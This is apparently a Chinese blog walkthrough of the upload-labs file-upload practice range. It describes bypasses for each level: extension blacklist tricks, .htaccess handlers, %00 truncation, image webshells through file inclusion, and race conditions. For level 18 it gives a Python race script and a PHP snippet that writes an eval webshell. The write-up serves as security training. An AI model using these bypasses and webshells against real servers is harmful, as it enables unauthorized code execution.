upload-labs文件上传靶场实验通关教程攻略

实验环境

  • 系统环境:windows2003

  • 软件:phpstudy2016

  • apache+php版本:php 5.2.17  apache 2.4.3

  • magic_quotes_gpc = Off

  • php.ini中开启extension=php_exif.dll

  • 其他配置均为默认

  • 靶场链接:https://github.com/c0ny1/upload-labs

            

            


第一关   前端JS绕过

  • 上传一个php一句话文件,直接弹出不允许上传,尝试前端绕过。
  • 按F12打开调控台,删除下面这个验证js代码。
  • 上传成功,返回图片信息即路径地址。
 

第二关   MIME-TYPE验证绕过

  • 上传一句话图片木马,用burpsuit抓包,将后缀名改为php。

  • 上传成功,返回图片信息及路径。


第三题  黑名单检测(特殊16进制后缀绕过)

  • 第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析

  • 尝试上传.htaccess文件,内容为SetHandler application/x-httpd-php,是成功上传的,但是被重命名了,则无法利用

  • 则尝试用特殊16进制后缀截断尝试,例如0xf7

  • 上传成功,

尝试用蚁剑连接,成功连接。


第四题 黑名单检测  (.htaccess文件绕过)

  • 同样尝试上传.htaccess文件,内容同样为SetHandler application/x-httpd-php,上传成功,并且返回信息显示没有重命名,可以利用。

  • 可以直接上传一句话图片木马,上传成功,并且返回了路径信息。

  • 尝试用蚁剑连接,成功连接。


第五题 黑名单过滤(后缀名特殊字符多写)

  • 这道题将特殊字符例如空格,点,::$DATA以及.htaccess文件都给过滤了,如下图,均返回失败

  • 那么尝试将特殊字符重写呢。例如1.php. .   (两个点中甲加个.)发现上传成功。

  • 因为Windows的特性,在创建文件的时候,末尾的点会被去掉,则剩下了1.php,我们尝试用蚁剑进行连接,连接成功。


第六题   黑名单过滤(大小写绕过)

  • 还是照第五题的思路对几个特殊后缀字符进行尝试,同样都不能绕过,则尝试对后缀名进行大小写,例如1.pHP,上传成功。

  • 因Windows特性,创建文件时,忽略大小写,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。


第七题   黑名单过滤(空格绕过)

  • 还是照第五题的思路对几个特殊后缀字符进行尝试,发现空格可以绕过,返回了路径信息。

  • 在windows特性中,创建文件时,忽略结尾的空格,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。


第八题   黑名单过滤(点绕过)

  • 还是照第五题的思路对几个特殊后缀字符进行尝试,发现点可以绕过,返回了路径信息。

  • 在windows特性中,创建文件时,忽略结尾的店,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。


第九题   黑名单过滤(流文件绕过)

  • 还是照第五题的思路对几个特殊后缀字符进行尝试,发现::$DATA可以绕过,返回了路径信息。

  • 在windows特性中,创建文件时,忽略结尾流文件后缀,实际保存的文件名后缀即为php,使用蚁剑进行连接,成功。


第十题    黑名单过滤(查看源码发现和第五题一样,则略过)


第十一题     黑名单过滤(后缀名双写绕过)

  • 直接上传一个php文件,发现可以上传,但是查看返回路径发现,只有文件名,没有文件后缀名。则认为他是将php替换为空了。
  • 那么我们抓包将后缀名改成双写即可绕过,即1.pphphp,返回成功以及路径信息。

第十二题  白名单 get型%00截断

  • 先上传一个php文件,返回信息发现只允许上传.jpg|.png|.gif类型文件!认定为白名单验证。
  • 则我们抓包,发现是GET型将路径信息暴露出来,我们尝试用00截断,直接在save_path接收的值后面加上,1.php%00  并且将文件名改为1.jpg。成功上传,返回路径信息
  • 因为网站的原因GET提交参数到服务器系统中,系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。用蚁剑进行连接尝试,成功。

第十三题  白名单 POST型%00截断

  • 先上传一个php文件,返回信息发现只允许上传.jpg|.png|.gif类型文件!认定为白名单验证。
  • 则我们抓包,发现是POST型将路径信息暴露出来,我们尝试用00截断,先将上传文件名后缀改为jpg,然后将save_path接收的值改为../upload/1.php (有个空格),然后调整到hex中,将空格改为00,发包,发现上传成功,返回路径信息
  • 尝试用蚁剑进行连接,成功,原理和get型一样。

第十四题  文件头检测

  • 这道题主要检测的是文件头,我们上传的所有文件都会被转化为图片格式,我们需要上传一句话图片木马,如下图,将文件后缀改为php上传成功,但返回的为jpg格式文件。

  • 根据页面提示点开文件包含漏洞页面。

  • 根据页面提示通过GET请求的file参数填写我们的图片地址。

  • 在hackbar处用POST提交我们的一句话密码和参数,返回成功。


第十五题  文件头检测 同十四题,只不过代码函数用的是getimagesize()类型验证


第十六题  文件头检测 同十四题,只不过代码函数用的是exif_imagetype()类型验证

这道题需要开启文章开头环境说明中的extension=php_exif.dll


第十七题  二次渲染绕过

  • 先尝试上传一个gif格式的一句话图片木马,上传成功,并且可以右击图片保存路径信息。

  • 用文件包含漏洞解析发现是并没有成功。

  • 将图片下载下来放到winhex中和我们上传的一句话图片木马进行比较,找相同的地方并且修改为自己的一句话。

  • 再对新修改的一句话图片木马上传,上传成功。

  • 用文件包含漏洞页面尽心共包含,返回成功。


第十八题  条件竞争上传

  • 这道题提示我们代码审计,通过代码审计发现对上传文件后缀名做了白名单验证,只允许上传jpg、gif、png格式的文件,如果不是这三个类型的文件就会删掉。

  • 那么我们可以尝试使用竞争条件上传,用burp一直上传文件,用python脚本一直方位临时文件,临时文件内容为我们写入一句话到它的目录。

    • 其中phthon代码如下:
# coding:utf-8
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            test = requests.get("http://192.168.44.129:9096/upload/upload/success.php")         //写入上传位置路径地址
            if "260ca9dd8a4577fc00b7bd5810298076" in test.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == '__main__':
    main()
  • 其中上传的文件写入代码如下
<?PHP

echo md5(success);

fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[123])?>');

?>
  • 用burpsuit进行抓包,清除掉payload位置。并且将payload选择no payload,将负载调成500。设置好后就可以开始了。

  • 同时将我们的python文件运行。


第十九题  条件竞争上传

  • 同样为条件竞争,利用和第十八题一样。


第二十题  保存名称可控,00截断

  • 这道题,可以看到名称是可以自行修改的,我们尝试上传图片马,并且修改文件名问php后缀,发现并不能上传上去

  • 那么我们尝试抓包修改上传名为upload-19.php ,有个空格,我们再进入hex讲空格的20修改为00进行截断,发现上传成功。

  • 使用蚁剑进行连接尝试,发现成功了。


第二十一题 数组拼接后缀名

这道题需要代码审计,通过审计发现,先检查文件类型,后检查是否上传了文件名没有则为文件的名字,判断是否为数组,若不是则以点分割返回一个数组,取数组最后一位数为后缀,文件保存为reset输出数组第一个数,和最后一位数保存

绕过方法

  • php修改后缀jpg上传抓包
  • 文件类型已经为image/jpeg
  • 修改上传路径为一个数组,当获取文件后缀时为jpg,合成文件名为数组第一个,和最后一个,当我们修改jpg为数组的2时,1此时是空的数组一共有三位数,但是实际只有两位,所有获取到的值为空
  • 此时上传后的文件为upload-20.php.

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值